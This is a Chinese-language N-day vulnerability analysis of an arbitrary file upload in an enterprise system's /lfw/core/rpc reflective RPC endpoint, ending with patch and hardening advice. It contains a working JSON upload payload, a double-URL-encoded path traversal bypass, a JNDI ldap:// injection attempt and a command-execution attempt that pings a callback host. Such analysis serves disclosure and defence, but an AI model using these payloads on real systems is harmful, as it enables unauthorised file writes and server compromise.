某通用系统Nday分析
字数 1671 2025-08-05 11:39:43

某通用系统Nday分析 - 任意文件上传漏洞利用详解

漏洞概述

该漏洞存在于某通用系统的/lfw/core/rpc接口,通过访问PortalSpecServiceImpl类中的createSkinFile方法,攻击者可以实现任意文件上传。补丁名称为patch_portal65_lfw任意文件上传漏洞,补丁编码为NCM_NC6.5_000_109902_20240301_GP_281362040

漏洞分析

漏洞调用链

  1. 调用handleRequest
  2. 跟进getControlPlugin
  3. 调用RpcControlPlugin.handle
  4. RpcHelper.processJsonRequest获取rpcdata参数,用JSON存储并传递给call函数

call函数分析

call()函数中:

  • 获取JSON中的rpcnamemethodparams
  • 通过paramList存储params参数(最多不超过10个)
  • 进行字符串处理后,最终通过instancegetMethodmethod.invoke获取实例、获取类方法、反射调用
  • 所有参数均可控,存在代码执行风险

漏洞利用

初始尝试

  1. 尝试直接传递:

    • rpcname: bsh.Interpreter
    • method: eval
    • params: ping o3n9.callback.red
    • 结果:返回500错误
  2. 尝试通过JNDI注入:

    • rpcname设置为ldap://xxx
    • methodparams随意设置
    • 可以获取到请求,但非预期利用方式

正确利用方式

  1. 通过ServiceLocator.getService(className)获取实例:

    • className需要先被加入到ServiceCache才能通过getService获取
    • PortalSpecServiceImpl类可实现文件上传功能
  2. 正确的类名应为接口名nc.uap.portal.service.itf.IPortalSpecService(而非实现类名)

  3. 最终构造的JSON数据包格式:

{
  "rpcdata": {
    "rpcname": "nc.uap.portal.service.itf.IPortalSpecService",
    "method": "createSkinFile",
    "params": {
      "projectPath": "/",
      "projectModuleName": "1",
      "type": "1",
      "themeId": "12345",
      "fileName": "123.txt",
      "fileText": "123"
    }
  }
}

目录遍历处理

  1. call()函数中,参数会经过fromJsObject处理
  2. JSONTokenernextValue函数会对字符串进行逐个字符判断
  3. 跳转目录的../../../会被处理成..
  4. 绕过方法:
    • Windows环境下可直接使用..\..\
    • 通用方法:使用两层URL编码
      • 发送..%252f..%252f
      • 服务器第一次解码后变为..%2f..%2f,绕过/检测
      • 经过JsURLDecoder.decode()后变为../../
      • 最终拼接到filePath实现目录跳转

漏洞利用扩展

  1. 该漏洞不仅限于文件上传,还可用于:

    • 代码执行(通过调用其他类方法)
    • 文件读取(如读取win.ini
  2. 其他可能的利用方向:

    • 查找ServiceCache中其他可利用的类
    • 寻找具有执行命令或写文件public方法的类

防御建议

  1. 应用补丁:NCM_NC6.5_000_109902_20240301_GP_281362040
  2. 输入验证:
    • rpcnamemethodparams参数进行严格校验
    • 限制可调用的类和方法范围
  3. 安全配置:
    • 禁用不必要的RPC接口
    • 限制反射调用的权限
  4. 文件操作防护:
    • 对文件路径进行规范化处理
    • 限制文件上传目录

技术要点总结

  1. 漏洞核心:通过可控参数实现反射调用任意类方法
  2. 关键函数调用链:handleRequestgetControlPluginRpcControlPlugin.handleRpcHelper.processJsonRequestcall()
  3. 利用限制:类必须存在于ServiceCache或可通过其他方式加载
  4. 目录遍历绕过:使用双重URL编码处理特殊字符
某通用系统Nday分析 - 任意文件上传漏洞利用详解 漏洞概述 该漏洞存在于某通用系统的 /lfw/core/rpc 接口,通过访问 PortalSpecServiceImpl 类中的 createSkinFile 方法,攻击者可以实现任意文件上传。补丁名称为 patch_portal65_lfw任意文件上传漏洞 ,补丁编码为 NCM_NC6.5_000_109902_20240301_GP_281362040 。 漏洞分析 漏洞调用链 调用 handleRequest 跟进 getControlPlugin 调用 RpcControlPlugin.handle RpcHelper.processJsonRequest 获取 rpcdata 参数,用JSON存储并传递给 call 函数 call函数分析 在 call() 函数中: 获取JSON中的 rpcname 、 method 和 params 通过 paramList 存储 params 参数(最多不超过10个) 进行字符串处理后,最终通过 instance 、 getMethod 、 method.invoke 获取实例、获取类方法、反射调用 所有参数均可控,存在代码执行风险 漏洞利用 初始尝试 尝试直接传递: rpcname : bsh.Interpreter method : eval params : ping o3n9.callback.red 结果:返回500错误 尝试通过JNDI注入: rpcname 设置为 ldap://xxx method 和 params 随意设置 可以获取到请求,但非预期利用方式 正确利用方式 通过 ServiceLocator.getService(className) 获取实例: className 需要先被加入到 ServiceCache 才能通过 getService 获取 PortalSpecServiceImpl 类可实现文件上传功能 正确的类名应为接口名 nc.uap.portal.service.itf.IPortalSpecService (而非实现类名) 最终构造的JSON数据包格式: 目录遍历处理 在 call() 函数中,参数会经过 fromJsObject 处理 JSONTokener 的 nextValue 函数会对字符串进行逐个字符判断 跳转目录的 ../../../ 会被处理成 .. 绕过方法: Windows环境下可直接使用 ..\..\ 通用方法:使用两层URL编码 发送 ..%252f..%252f 服务器第一次解码后变为 ..%2f..%2f ,绕过 / 检测 经过 JsURLDecoder.decode() 后变为 ../../ 最终拼接到 filePath 实现目录跳转 漏洞利用扩展 该漏洞不仅限于文件上传,还可用于: 代码执行(通过调用其他类方法) 文件读取(如读取 win.ini ) 其他可能的利用方向: 查找 ServiceCache 中其他可利用的类 寻找具有执行命令或写文件public方法的类 防御建议 应用补丁: NCM_NC6.5_000_109902_20240301_GP_281362040 输入验证: 对 rpcname 、 method 和 params 参数进行严格校验 限制可调用的类和方法范围 安全配置: 禁用不必要的RPC接口 限制反射调用的权限 文件操作防护: 对文件路径进行规范化处理 限制文件上传目录 技术要点总结 漏洞核心:通过可控参数实现反射调用任意类方法 关键函数调用链: handleRequest → getControlPlugin → RpcControlPlugin.handle → RpcHelper.processJsonRequest → call() 利用限制:类必须存在于 ServiceCache 或可通过其他方式加载 目录遍历绕过:使用双重URL编码处理特殊字符